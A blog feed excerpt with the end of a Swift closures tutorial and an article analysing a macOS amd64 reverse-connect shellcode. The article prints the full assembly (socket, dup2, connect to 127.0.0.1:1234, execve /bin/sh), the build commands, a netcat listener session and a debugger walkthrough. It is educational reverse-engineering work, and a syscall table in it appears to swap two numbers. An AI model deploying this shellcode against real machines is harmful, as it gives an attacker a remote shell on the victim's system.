<p>with parameters and return types If we wanted to have the value returned instead of having it only printed, we'd need to redesign the closure:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> squareR = {(number: <span class="hljs-type">Int</span>) -&gt; <span class="hljs-type">Int</span> <span class="hljs-keyword">in</span> 
    <span class="hljs-keyword">return</span> (number*number)
}
</code></pre>
<p>The invocation becomes:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> s = squareR(<span class="hljs-number">10</span>)
<span class="hljs-built_in">print</span>(s)
</code></pre>
<h3 id="heading-closures-without-parameters-but-with-return-types">Closures without parameters but with return types</h3>
<p>The last case we have is the one in which a closure doesn't accept any parameter, but returns a value. So, we write a function that returns the current date, formatted in the European way:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> currentDate = { () -&gt; <span class="hljs-type">String</span> <span class="hljs-keyword">in</span> 
    <span class="hljs-keyword">let</span> date = <span class="hljs-type">Date</span>() 
    <span class="hljs-keyword">let</span> dateFormatter = <span class="hljs-type">DateFormatter</span>() 
    dateFormatter.dateFormat = <span class="hljs-string">"dd/MM/yyyy"</span>
    <span class="hljs-keyword">return</span>(dateFormatter.string(from: date)) 
}
</code></pre>
<h3 id="heading-parameter-inference">Parameter inference</h3>
<p>Swift infers the type of the parameters, hence the following code is perfectly legal:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> positive = {x <span class="hljs-keyword">in</span> <span class="hljs-keyword">return</span> x&gt;<span class="hljs-number">0.0</span>}
</code></pre>
<p>Here, the overhead of the <code>(x: Double)</code>has been simplified, because the variable is compared with a double. Hence the instruction</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> minusPI = -<span class="hljs-number">3.1415</span> 
<span class="hljs-built_in">print</span>(positive(minusPI))
</code></pre>
<p>would return <code>true</code>, but the following won’t compile:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> four = <span class="hljs-number">4</span> <span class="hljs-built_in">print</span>(positive(four))
</code></pre>
<p>This code would try to compare the variable <code>four</code>, which is an integer, with a double (<code>0.0</code>). The console would report <code>error: cannot convert value of type 'Double' to expected argument type 'Int'</code>.</p>
<p>The very first thing that came into my mind when I saw this feature was to write something like:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> product = {x,y <span class="hljs-keyword">in</span> x*y}
</code></pre>
<p>Unfortunately, this won’t work, because the compiler cannot understand if that <code>*</code> represents the operation between Integers or Doubles. This makes perfect sense, from an Assembly perspective.</p>
<h3 id="heading-perlish-arguments">PERLish arguments</h3>
<p>In Swift, the declarations:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> positive = {x <span class="hljs-keyword">in</span> <span class="hljs-keyword">return</span> x&gt;<span class="hljs-number">0.0</span>}
</code></pre>
<p>and</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> positive = {$<span class="hljs-number">0</span>&gt;<span class="hljs-number">0.0</span>}
</code></pre>
<p>are equivalent. In Swift, <code>$0</code> refers to the first argument, <code>$1</code> to the second, and <code>$n</code> to the (n+1)-th. Welcome back, PERL.</p>
<h3 id="heading-closures-as-function-parameters">Closures as function parameters</h3>
<p>Closures can be used as variables and constants, and consequently, they can be used as function parameters. This is consistent with the structure of functions.</p>
<p>The following code compiles and works as expected:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> rnd = {x <span class="hljs-keyword">in</span> 
    <span class="hljs-keyword">return</span> <span class="hljs-type">Int</span>.random(<span class="hljs-keyword">in</span>: <span class="hljs-number">1</span>..&lt;x)
} 

<span class="hljs-keyword">let</span> <span class="hljs-type">IntSqrtRoot</span> = {(x: <span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
    <span class="hljs-keyword">let</span> d = <span class="hljs-type">Double</span>(x)
    <span class="hljs-keyword">let</span> r = <span class="hljs-type">Int</span>(d.squareRoot()) 
    <span class="hljs-keyword">return</span> r
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">F</span><span class="hljs-params">(Closure1 C1: <span class="hljs-params">(Int)</span></span></span>-&gt;<span class="hljs-type">Int</span>, <span class="hljs-type">Closure2</span> <span class="hljs-type">C2</span>: (<span class="hljs-type">Int</span>)-&gt;<span class="hljs-type">Int</span>, aRandomInteger n: <span class="hljs-type">Int</span>) { 
    <span class="hljs-keyword">let</span> val1: <span class="hljs-type">Int</span> = <span class="hljs-type">C1</span>(n) 
    <span class="hljs-keyword">let</span> val2: <span class="hljs-type">Int</span> = <span class="hljs-type">C2</span>(n)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">"A random number less than (n): (val1)"</span>) 
    <span class="hljs-built_in">print</span>(<span class="hljs-string">"The integer part of the square root of (n) is (val2)"</span>) 
}

<span class="hljs-type">F</span>(<span class="hljs-type">Closure1</span>: rnd, <span class="hljs-type">Closure2</span>: <span class="hljs-type">IntSqrtRoot</span>, aRandomInteger: <span class="hljs-number">17</span>)
</code></pre>
<p>The output of this code varies because of the randomness of the first closure, but in general, it has the following structure:</p>
<pre><code class="lang-plaintext">A random number less than 17: 13 

The integer part of the square root of 17 is 4
</code></pre>
<p>The type for the closures, in this case, is <code>(Int)-&gt;Int</code>, but they may vary.</p>
<h3 id="heading-closures-as-return-types">Closures as return types</h3>
<p>We may have a function returning a closure. The definition of such a function can be as follows:</p>
<pre><code class="lang-swift"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">G</span><span class="hljs-params">(<span class="hljs-keyword">switch</span> n:Int)</span></span> -&gt;(<span class="hljs-type">Int</span>)-&gt;<span class="hljs-type">Any</span>{ 
    <span class="hljs-keyword">let</span> f1 = {x <span class="hljs-keyword">in</span> 
        <span class="hljs-keyword">return</span> x+<span class="hljs-number">1</span>
    } 
    <span class="hljs-keyword">let</span> f2 = {(x:<span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
        <span class="hljs-keyword">let</span> d = <span class="hljs-type">Double</span>(x) 
        <span class="hljs-keyword">return</span> d.squareRoot() 
    }
    <span class="hljs-keyword">let</span> f3 = {(x:<span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
        <span class="hljs-keyword">var</span> result = <span class="hljs-string">""</span> 
        <span class="hljs-keyword">for</span> <span class="hljs-number">_</span> <span class="hljs-keyword">in</span> <span class="hljs-number">0</span>..&lt;x{
            result = <span class="hljs-string">"(result)*"</span>
        } 
        <span class="hljs-keyword">return</span> result 
    }

    <span class="hljs-keyword">switch</span> n{ 
        <span class="hljs-keyword">case</span> <span class="hljs-number">0</span>: 
            <span class="hljs-keyword">return</span> f1 
        <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>: 
            <span class="hljs-keyword">return</span> f2 
        <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:
            <span class="hljs-keyword">return</span> f3 
        <span class="hljs-keyword">default</span>: 
            <span class="hljs-keyword">return</span> {(x:<span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
                <span class="hljs-keyword">return</span> (<span class="hljs-string">"10"</span>,<span class="hljs-string">"ten"</span>)
            } 
    }
}
</code></pre>
<p>We can invoke it as follows:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> function1 = <span class="hljs-type">G</span>(<span class="hljs-keyword">switch</span>: <span class="hljs-number">1</span>) 
<span class="hljs-built_in">print</span>(function1(<span class="hljs-number">123</span>)) 
<span class="hljs-keyword">let</span> function2 = <span class="hljs-type">G</span>(<span class="hljs-keyword">switch</span>: <span class="hljs-number">2</span>) 
<span class="hljs-built_in">print</span>(function2(<span class="hljs-number">10</span>)) 
<span class="hljs-keyword">let</span> function3 = <span class="hljs-type">G</span>(<span class="hljs-keyword">switch</span>: <span class="hljs-number">3</span>) 
<span class="hljs-built_in">print</span>(function3(<span class="hljs-number">17</span>)) 
<span class="hljs-keyword">let</span> function4 = <span class="hljs-type">G</span>(<span class="hljs-keyword">switch</span>: <span class="hljs-number">0</span>)
<span class="hljs-built_in">print</span>(function4(<span class="hljs-number">10</span>))
</code></pre>
<p>this returns the following output:</p>
<pre><code class="lang-plaintext">11.090536506409418 
("10", "ten")
**********
11
</code></pre>
<p><strong>A word of caution</strong>: these two features, taken altogether, can lead to <em>spaghetti code</em>, <em>ravioli code</em>, <em>macaroni code</em>, and to <em>lasagna code</em>. So be very cautious when you use it - you need to watch your daily carbs consumption :)</p>
<h3 id="heading-trailing-closures">Trailing closures</h3>
<p>There is another way to invoke functions accepting closures as parameters. This happens when the closure is the final argument.</p>
<p>Assume we have this function:</p>
<pre><code class="lang-swift"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">generateHash</span><span class="hljs-params">(plaintext t: String, seed s: Int, algorithm a: <span class="hljs-params">(String, Int)</span></span></span> -&gt; <span class="hljs-type">String</span>) -&gt; <span class="hljs-type">String</span>{ 
    <span class="hljs-keyword">let</span> encypheredText = a(t,s) 
    <span class="hljs-keyword">return</span> encypheredText 
}
</code></pre>
<p>We may invoke it as:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> encrypted1 = generateHash(plaintext: <span class="hljs-string">"Pen Pineapple Apple Pen"</span>, seed: <span class="hljs-number">321</span>, algorithm: {
        (plaintext: <span class="hljs-type">String</span>, seed: <span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
            <span class="hljs-keyword">return</span> <span class="hljs-string">"This is the hash of '(plaintext)' encrypted with TripleDES! Key used is (seed)"</span>
    }
)
<span class="hljs-built_in">print</span>(encrypted1)
</code></pre>
<p>or we could define a variable with a closure implementing the algorithm:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> <span class="hljs-type">RSA</span> = {(plaintext: <span class="hljs-type">String</span>, seed: <span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
    <span class="hljs-keyword">return</span> <span class="hljs-string">"This is the hash of '(plaintext)' encrypted with RSA! Key used is (seed)"</span> 
} 
<span class="hljs-built_in">print</span>(generateHash(plaintext: <span class="hljs-string">"Pen Pineapple Apple Pen"</span>, seed: <span class="hljs-number">123</span>, algorithm: <span class="hljs-type">RSA</span>))
</code></pre>
<p>There is another way to invoke this function. The closure is (explicitly) written outside the closing parentheses, as follows:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> encrypted2 = generateHash(plaintext: <span class="hljs-string">"Pen Pineapple Apple Pen"</span>, seed: <span class="hljs-number">456</span>){(plaintext: <span class="hljs-type">String</span>, seed: <span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> 
    <span class="hljs-keyword">return</span> <span class="hljs-string">"This is the hash of '(plaintext)' encrypted with ECC! Key used is (seed)"</span>
}
</code></pre>
<p>I have not been able to do this kind of invocation with two different closures (e.g., <code>f(params){closure1}{closure2}</code>, but that’s probably for the best. Personally speaking, I don’t find this feature elegant. Nevertheless, it’s important we know it’s there.</p>
<h2 id="heading-commentary">Commentary</h2>
<p>This covers the basic functionalities of Closures.</p>
<p>We have shown how closures constitute a great way to write flexible code. They are widely used throughout AppKit exactly for that flexibility, but their practical application goes far beyond building an interface - for instance, AI or dynamic analysis tools can largely benefit from closures.</p>
<p>The only word of caution is be wary of how you use closures! Writing <em>spaghetti code</em> (or better, <em>cannelloni</em> code. This stuff is filled!) is the real risk, here.</p>
]]></content:encoded></item><item><title><![CDATA[The reverse connect shell]]></title><description><![CDATA[Abstract
In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64.
In the last article, we will put together what we have learnt so far and we will create a reverse bind shell
Keywords
...]]></description><link>https://blog.reveng3.org/the-reverse-connect-shell</link><guid isPermaLink="true">https://blog.reveng3.org/the-reverse-connect-shell</guid><category><![CDATA[macOS]]></category><category><![CDATA[hacking]]></category><category><![CDATA[coding]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Sun, 01 May 2022 07:17:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1650876448230/wfkim7fTi.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-abstract">Abstract</h2>
<p><em>In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page <a target="_blank" href="https://modexp.wordpress.com/2017/01/21/shellcode-osx/">Shellcode: Mac OSX amd64</a>.</em></p>
<p><em>In the last article, we will put together what we have learnt so far and we will create a reverse bind shell</em></p>
<h4 id="heading-keywords">Keywords</h4>
<p><em>reverse bind shell, socket, sys_dup2, execve, connect.</em></p>
<h1 id="heading-the-code">The code</h1>
<p>We start with compiling the code from the well-known website:</p>
<pre><code>bits <span class="hljs-number">64</span>
global _main
_main:


; <span class="hljs-number">79</span> byte <span class="hljs-keyword">reverse</span> shell
;
    bits    <span class="hljs-number">64</span>

    mov     rcx, ~<span class="hljs-number">0x0100007fd2040200</span>
    <span class="hljs-keyword">not</span>     rcx
    <span class="hljs-keyword">push</span>    rcx

    <span class="hljs-keyword">xor</span>     ebp, ebp
    bts     ebp, <span class="hljs-number">25</span>
    ; step <span class="hljs-number">1</span>, create a <span class="hljs-keyword">socket</span>
    ; <span class="hljs-keyword">socket</span>(AF_INET, SOCK_STREAM, IPPROTO_IP);
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    cdq                      ; rdx=IPPROTO_IP
    <span class="hljs-keyword">push</span>    <span class="hljs-number">1</span>
    <span class="hljs-keyword">pop</span>     rsi              ; rsi=SOCK_STREAM
    <span class="hljs-keyword">push</span>    <span class="hljs-number">2</span>
    <span class="hljs-keyword">pop</span>     rdi              ; rdi=AF_INET
    mov     al, <span class="hljs-number">97</span>
    <span class="hljs-keyword">syscall</span>

    xchg    eax, edi         ; edi=<span class="hljs-keyword">s</span>
    xchg    eax, esi         ; esi=<span class="hljs-number">2</span>

    ; step <span class="hljs-number">2</span>, assign <span class="hljs-keyword">socket</span> handle to stdin,stdout,stderr
    ; dup2(r, FILENO_STDIN)
    ; dup2(r, FILENO_STDOUT)
    ; dup2(r, FILENO_STDERR)
dup_loop64:
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax              ; eax = <span class="hljs-number">0x02000000</span>
    mov     al, <span class="hljs-number">90</span>           ; rax=sys_dup2
    <span class="hljs-keyword">syscall</span>
    <span class="hljs-function"><span class="hljs-keyword">sub</span>     <span class="hljs-title">esi</span>, 1
    <span class="hljs-title">jns</span>     <span class="hljs-title">dup_loop64</span>       </span>; jump <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> signed

    ; step <span class="hljs-number">3</span>, <span class="hljs-keyword">connect</span> to remote host
    ; <span class="hljs-keyword">connect</span> (sockfd, {AF_INET,<span class="hljs-number">1234</span>,<span class="hljs-number">127.0</span>.<span class="hljs-number">0</span>.<span class="hljs-number">1</span>}, <span class="hljs-number">16</span>);
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    <span class="hljs-keyword">push</span>    rsp
    <span class="hljs-keyword">pop</span>     rsi
    mov     dl, <span class="hljs-number">16</span>           ; rdx=sizeof(sa)
    mov     al, <span class="hljs-number">98</span>           ; rax=sys_connect
    <span class="hljs-keyword">syscall</span>

    ; step <span class="hljs-number">4</span>, execute /bin/sh
    ; execve(<span class="hljs-string">"/bin//sh"</span>, NULL, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">push</span>    rax
    <span class="hljs-keyword">pop</span>     rsi
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    cdq                      ; rdx=<span class="hljs-number">0</span>
    mov     rbx, <span class="hljs-string">'/bin//sh'</span>
    <span class="hljs-keyword">push</span>    rdx              ; <span class="hljs-number">0</span>
    <span class="hljs-keyword">push</span>    rbx              ; <span class="hljs-string">"/bin//sh"</span>
    <span class="hljs-keyword">push</span>    rsp
    <span class="hljs-keyword">pop</span>     rdi              ; <span class="hljs-string">"/bin//sh"</span>, <span class="hljs-number">0</span>
    mov     al, <span class="hljs-number">59</span>           ; rax=sys_execve
    <span class="hljs-keyword">syscall</span>
</code></pre><p>Compiling this code is not different from the usual:</p>
<pre><code>gbiondo@tripleX reverse connect shell <span class="hljs-operator">%</span> nasm <span class="hljs-operator">-</span>f macho64 rcs.asm 
gbiondo@tripleX reverse connect shell <span class="hljs-operator">%</span> ld <span class="hljs-operator">-</span>L <span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Developer<span class="hljs-operator">/</span>CommandLineTools<span class="hljs-operator">/</span>SDKs<span class="hljs-operator">/</span>MacOSX.sdk/usr<span class="hljs-operator">/</span>lib <span class="hljs-operator">-</span>lSystem rcs.o <span class="hljs-operator">-</span>o reverseConnectShell
</code></pre><p>Now from another terminal we launch a netcat shell:</p>
<pre><code>gbiondo@tripleX <span class="hljs-operator">~</span> <span class="hljs-operator">%</span> pwd
<span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo
gbiondo@tripleX <span class="hljs-operator">~</span> <span class="hljs-operator">%</span> <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>nc <span class="hljs-operator">-</span>l  <span class="hljs-number">1234</span>
...
</code></pre><p>And we launch the reverse shell:</p>
<pre><code>gbiondo@ tripleX reverse connect shell <span class="hljs-operator">%</span> ./reverseConnectShell
</code></pre><p>On the first terminal, we can issue commands as if these were launched from the second shell:</p>
<pre><code>gbiondo@tripleX <span class="hljs-operator">~</span> <span class="hljs-operator">%</span> <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>nc <span class="hljs-operator">-</span>l  <span class="hljs-number">1234</span>
pwd
<span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo<span class="hljs-operator">/</span>EXP312<span class="hljs-operator">/</span>Odzhan<span class="hljs-operator">/</span>reverse connect shell
</code></pre><p>It works fine.</p>
<p>It must be observed that if there is no shell to connect to, the given shellcode crashes with a segmentation fault. </p>
<p>This time we opt for another strategy to do the reverse engineering exercise. First, we collect all the launched syscalls, and we look through their documentation, if needed.</p>
<table>
    <tr>
        <th>Last byte</th>
        <th>syscall signature</th>
    </tr>

    <tr>
        <td>97</td>
        <td><code>int socket(int domain, int type, int protocol);</code></td>
    </tr>

    <tr>
        <td>98</td>
        <td><code>int sys_dup2(u_int from, u_int to);</code></td>
    </tr>

    <tr>
        <td>90</td>
        <td><code>int connect(int s, caddr_t name, socklen_t namelen);</code></td>
    </tr>


    <tr>
        <td>59</td>
        <td><code>int execve(char *fname, char **argp, char **envp);</code></td>
    </tr>
</table>

<p>The syscalls shouldn’t be new to the aficionados of this series – however, if you have lost the articles:</p>
<ul>
<li>We discussed <code>execve</code> in <a target="_blank" href="https://blog.reveng3.org/come-taste-some-shellcode">Come taste some shellcode...</a></li>
<li>We discussed <code>sys_dup2</code> in <a target="_blank" href="https://blog.reveng3.org/binding-a-shell">Binding a shell</a></li>
<li>We discussed <code>socket</code> in <a target="_blank" href="https://blog.reveng3.org/binding-a-shell">Binding a shell</a></li>
<li>We didn’t discuss <code>connect</code> yet </li>
</ul>
<p>So the algorithm will be:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651222974388/0ks8SdGPF.png" alt="Screenshot 2022-04-29 at 09.54.52.png" /></p>
<p>To save some time later, let's remember that according to the AMD calling convention, the registers shall contain the values as described below:</p>
<table>
    <tr>
        <th>syscall</th>
        <th><center>Parameter 1</center></th>
        <th><center>Parameter 2</center></th>
        <th><center>Parameter 3</center></th>
    </tr>
    <tr>
        <th>Registers</th>
        <th><center><code>RDI</code></center></th>
        <th><center><code>RSI</code></center></th>
        <th><center><code>RDX</code></center></th>
    </tr>

    <tr>
        <td><code>socket</code></td>
        <td><code>domain</code></td>
        <td><code>type</code></td>
        <td><code>protocol</code></td>
    </tr>
    <tr>
        <td><code>sys_dup2</code></td>
        <td><code>from</code></td>
        <td><code>to</code></td>
        <td><em>n/a</em></td>
    </tr>
    <tr>
        <td><code>connect</code></td>
        <td>Socket file descriptor</td>
        <td>Address</td>
        <td>Address length</td>
    </tr>
    <tr>
        <td><code>execve</code></td>
        <td>path</td>
        <td>arguments</td>
        <td>Global variables</td>
    </tr>
</table>

<p>As I said in a previous article, when working with projects it’s always better to view both lldb and a visual disassembler. It gives a wide view of how the same result can be achieved in different manners. For instance, the original code:</p>
<pre><code><span class="hljs-attribute">mov</span>     rcx, ~<span class="hljs-number">0</span>x<span class="hljs-number">0100007</span>fd<span class="hljs-number">2040200</span>
    <span class="hljs-attribute">not</span>     rcx
</code></pre><p>has been disassembled by lldb as:</p>
<pre><code><span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">69</span>] &lt;+<span class="hljs-number">0</span>&gt;:  movabs rcx, -<span class="hljs-number">0</span>x<span class="hljs-number">100007</span>fd<span class="hljs-number">2040201</span>
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">73</span>] &lt;+<span class="hljs-number">10</span>&gt;: not    rcx
</code></pre><p>and by hopper as:</p>
<pre><code><span class="hljs-attribute">0000000100003f69</span>         movabs     rcx, <span class="hljs-number">0</span>xfeffff<span class="hljs-number">802</span>dfbfdff
<span class="hljs-attribute">0000000100003f73</span>         not        rcx
</code></pre><p>Now, <code>movabs</code> and <code>mov</code> can be considered synonyms, in this context (see this <a target="_blank" href="http://web.archive.org/web/20160609221003/http://www.x86-64.org/documentation/assembly.html">link</a> for more information), and yet the operands are different.</p>
<p>In the first case, the whole process has been already discussed in the article “Binding a shell”. We re-do this once more here:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651223771075/cp52MQSNx.png" alt="Screenshot 2022-04-29 at 10.16.00.png" /></p>
<p>This shows that the approach of the original code and the one of hopper are equivalent.</p>
<p>Negative numbers are obtained with 2's complement, so we have:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651223834868/XRpIo7JZ-.png" alt="Screenshot 2022-04-29 at 10.16.54.png" /></p>
<p>This finally proves that the three approaches are equivalent. As a point of interest, it’d have been way faster writing a simple piece of code:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">long</span> myInt;
    myInt = <span class="hljs-number">0x100007fd2040201</span>;
    myInt *= <span class="hljs-number">-1</span>;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Original number made negative, in hex: %#lx\n"</span>,myInt);

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p><em>Or, damnit! you may use any scientific calculator that has programming features!</em></p>
<p>Now that we agree on the data, we can proceed with the analysis. For the sake of clarity, I am subdividing the code in chunks; the separators being the syscall instructions (and subsequent return value storing, if pertinent).</p>
<p>To make the things clearer, I will also show the contents of the registers and the stack.</p>
<h3 id="heading-first-chunk-invoking-socket">First chunk: invoking socket</h3>
<p>In other words, this is the main program until the loop. The disassembled code is:</p>
<pre><code>(lldb) disassemble <span class="hljs-operator">-</span>n main
reverseConnectShell`main:
reverseConnectShell[<span class="hljs-number">0x100003f69</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>:  movabs rcx, <span class="hljs-number">-0x100007fd2040201</span>
reverseConnectShell[<span class="hljs-number">0x100003f73</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">10</span><span class="hljs-operator">&gt;</span>: not    rcx
reverseConnectShell[<span class="hljs-number">0x100003f76</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">13</span><span class="hljs-operator">&gt;</span>: push   rcx
reverseConnectShell[<span class="hljs-number">0x100003f77</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">14</span><span class="hljs-operator">&gt;</span>: xor    ebp, ebp
reverseConnectShell[<span class="hljs-number">0x100003f79</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">16</span><span class="hljs-operator">&gt;</span>: bts    ebp, <span class="hljs-number">0x19</span>
reverseConnectShell[<span class="hljs-number">0x100003f7d</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">20</span><span class="hljs-operator">&gt;</span>: push   rbp
reverseConnectShell[<span class="hljs-number">0x100003f7e</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">21</span><span class="hljs-operator">&gt;</span>: pop    rax
reverseConnectShell[<span class="hljs-number">0x100003f7f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">22</span><span class="hljs-operator">&gt;</span>: cdq    
reverseConnectShell[<span class="hljs-number">0x100003f80</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">23</span><span class="hljs-operator">&gt;</span>: push   <span class="hljs-number">0x1</span>
reverseConnectShell[<span class="hljs-number">0x100003f82</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">25</span><span class="hljs-operator">&gt;</span>: pop    rsi
reverseConnectShell[<span class="hljs-number">0x100003f83</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">26</span><span class="hljs-operator">&gt;</span>: push   <span class="hljs-number">0x2</span>
reverseConnectShell[<span class="hljs-number">0x100003f85</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">28</span><span class="hljs-operator">&gt;</span>: pop    rdi
reverseConnectShell[<span class="hljs-number">0x100003f86</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">29</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x61</span>
reverseConnectShell[<span class="hljs-number">0x100003f88</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">31</span><span class="hljs-operator">&gt;</span>: syscall 
reverseConnectShell[<span class="hljs-number">0x100003f8a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">33</span><span class="hljs-operator">&gt;</span>: xchg   eax, edi
reverseConnectShell[<span class="hljs-number">0x100003f8b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">34</span><span class="hljs-operator">&gt;</span>: xchg   eax, esi
</code></pre><p>We have already seen what happens in <code>&lt;+0&gt;</code>. The effect of the operation <code>&lt;+10&gt;</code> is simply flipping the bytes in RCX, this is put in the stack in <code>&lt;+13&gt;</code>. </p>
<p>Let's observe the result of the <code>not</code>, although the mechanism should be very clear by now:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651224441795/h5_sn-bql.png" alt="Screenshot 2022-04-29 at 10.26.49.png" /></p>
<h4 id="heading-what-is-this-all-about">What is this all about</h4>
<p>We didn’t look at the man page of the connect instruction, taking it somehow for granted. Let’s do it now.</p>
<p>man 2 connect gives:</p>
<blockquote>
<p><code>int connect(int socket, const struct sockaddr *address, socklen_t address_len);</code></p>
<p>DESCRIPTION
The parameter socket is a socket.  If it is of type <code>SOCK_DGRAM</code>, this call specifies the peer with which the socket is to be associated; this address is that to which datagrams are to be sent, and the only address from which datagrams are to be received.  If the socket is of type <code>SOCK_STREAM</code>, this call attempts to make a connection to another socket.  The other socket is specified by address, which is an address in the communications space of the socket.
Each communications space interprets the address parameter in its own way. Generally, stream sockets may successfully <code>connect()</code> only once; datagram sockets may use <code>connect()</code> multiple times to change their association.  Datagram sockets may dissolve the association by calling <code>disconnectx(2)</code>, or by connecting to an invalid address, such as a null address or an address with the address family set to <code>AF_UNSPEC</code> (the error <code>EAFNOSUPPORT</code> will be harmlessly returned).</p>
</blockquote>
<p>Now, we have already seen a <code>const struct sockaddr *address</code> passed to a syscall when we analysed bind. We have seen how to calculate the length, which is 16 bytes and how the fields are populated. Let’s get shortly back to that, remembering that the author wants to invoke connect with the parameters <code>(sockfd, {AF_INET,1234,127.0.0.1}, 16)</code>. The first and the last should be immediate to understand, so we focus on the second one, namely <code>{AF_INET,1234,127.0.0.1}</code>.</p>
<ul>
<li>The value of the constant <code>AF_INET</code> is <code>0x02</code>.</li>
<li><code>1234</code> is an immediate constant. In hex that value is represented as <code>0x04D2</code>.</li>
<li>The remaining, <code>127.0.0.1</code>, can be represented as <code>0x7F 0x00 0x00 0x01</code>.</li>
<li>Finally, we know that a <code>const struct sockaddr *address</code> has an initial field, <code>sin_len</code>, which is 1-byte long, and must be null: <code>0x00</code>.</li>
</ul>
<p>All these, taken altogether:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651227069437/4a5yVwm0P.png" alt="Screenshot 2022-04-29 at 11.10.33.png" /></p>
<p>The piece of code prepares the contents that will be pointed after by <code>*address</code>.</p>
<p>However, the situation before <code>&lt;+13&gt;</code> is executed is:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651229802714/qkKwvArOp.png" alt="Screenshot 2022-04-29 at 11.55.54.png" /></p>
<p>and after its execution we have:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651229890319/OiC9ge6FQ.png" alt="Screenshot 2022-04-29 at 11.57.59.png" class="image--center mx-auto" /></p>
<p>The next instruction (<code>&lt;+14&gt;</code>) zeroes the contents of <code>ebp</code>, which are the last 32 bits of <code>rpb</code> – side effect of this action is zeroing also <code>rbp</code>; and the one after (<code>&lt;+16&gt;</code>) sets the 26th (0x19=26 – but also this should be clear by now) bit of the register to 1. </p>
